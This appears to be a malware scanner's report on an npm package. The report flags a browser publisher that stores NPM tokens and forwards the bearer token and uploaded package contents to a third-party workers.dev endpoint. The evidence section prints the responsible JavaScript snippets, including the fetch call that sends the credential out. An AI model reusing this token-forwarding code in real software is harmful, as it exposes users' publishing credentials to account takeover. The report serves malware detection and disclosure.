Findings for this version do not establish the status of other versions. AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. The package is a browser-based publisher that sends an NPM bearer token and selected upload content to a third-party worker during normal web use. It also embeds a credential in its HTML. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 99.0% - **Started:** 2026-09-14T03:44:29.749Z - **Finished:** 2026-09-14T03:45:07.191Z - **Download time:** 767 ms - **Static scan time:** 15 ms - **AI review time:** 36659 ms - **Total time:** 37442 ms The recorded confidence comes from the underlying analysis.

It also embeds a credential in its HTML. - **Trigger:** A user opens the HTML, selects a file, and clicks Publish Link. - **Impact:** The worker can receive the user's NPM publishing credential and uploaded package contents, enabling account abuse or package theft. - **Evidence paths:** app.js, index.html - **Review source:** ai\_review - **Reviewed:** 2026-09-14T03:45:07.191Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Bearer-token and package-payload forwarding through a third-party worker. - **Attack narrative:** When a user clicks the publisher button, the code packages the selected file and sends it with an Authorization bearer token. In a regular web context, the destination is a third-party workers.dev host rather than registry.npmjs.org. This gives the third party both the credential and the upload payload. The HTML also embeds an NPM credential, indicating unsafe credential handling. - **Rationale:** This is concrete credential and data exfiltration through a third-party endpoint during the advertised publishing flow. The absence of an install hook does not neutralize the user-triggered token forwarding. - **Files touched:** app.js, index.html - **Network endpoints:** https://dawn-salad-6ee1.vihaanb0715.workers.dev, https://registry.npmjs.org ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** The browser publisher collects an NPM authentication token and retains entered tokens in local storage., On ordinary web use, it routes publishing requests to a third-party worker rather than the NPM registry., The request sends the bearer token and complete uploaded package payload to that worker., The page contains a prefilled NPM-token input, exposing a credential in package source. - **Evidence against:** package.json has no preinstall, install, or postinstall hook., The network request requires a user to choose a file and click the publish button. ## Affected versions and remediation This report applies to @vbansal67/npm-is-like-so-so-tuff@1.0.0. - Avoid installing @vbansal67/npm-is-like-so-so-tuff@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1.

High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** app.js - **Public source:** [View source]() The browser publisher collects an NPM authentication token and retains entered tokens in local storage. Public source snippet (untrusted): ```javascript const savedToken = localStorage.getItem('npm_auth_token'); if (savedToken) { tokenInput.value = savedToken; } tokenInput.addEventListener('input', () => { localStorage.setItem('npm_auth_token', tokenInput.value.trim()); }); ``` ### 6. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** app.js - **Public source:** [View source]() On ordinary web use, it routes publishing requests to a third-party worker rather than the NPM registry. Public source snippet (untrusted): ```javascript const isNativeApp = window.Capacitor?.isNativePlatform() || window.location.protocol === 'file:'; const cleanWorkerUrl = WORKER_URL.replace(/\/+$/, ''); const encodedPackageName = packageName.replace('/', '%2F'); const finalEndpoint = isNativeApp ? `https://registry.npmjs.org/${encodedPackageName}` : `${cleanWorkerUrl}/${encodedPackageName}`; ``` ### 7. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** app.js - **Public source:** [View source]() The request sends the bearer token and complete uploaded package payload to that worker. Public source snippet (untrusted): ```javascript const response = await fetch(finalEndpoint, { method: 'PUT', headers: { 'Authorization': `Bearer ${token}`, 'Content-Type': 'application/json' }, body: JSON.stringify(payload) }); ``` ### 8. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** index.html - **Public source:** [View source]() The page contains a prefilled NPM-token input, exposing a credential in package source.
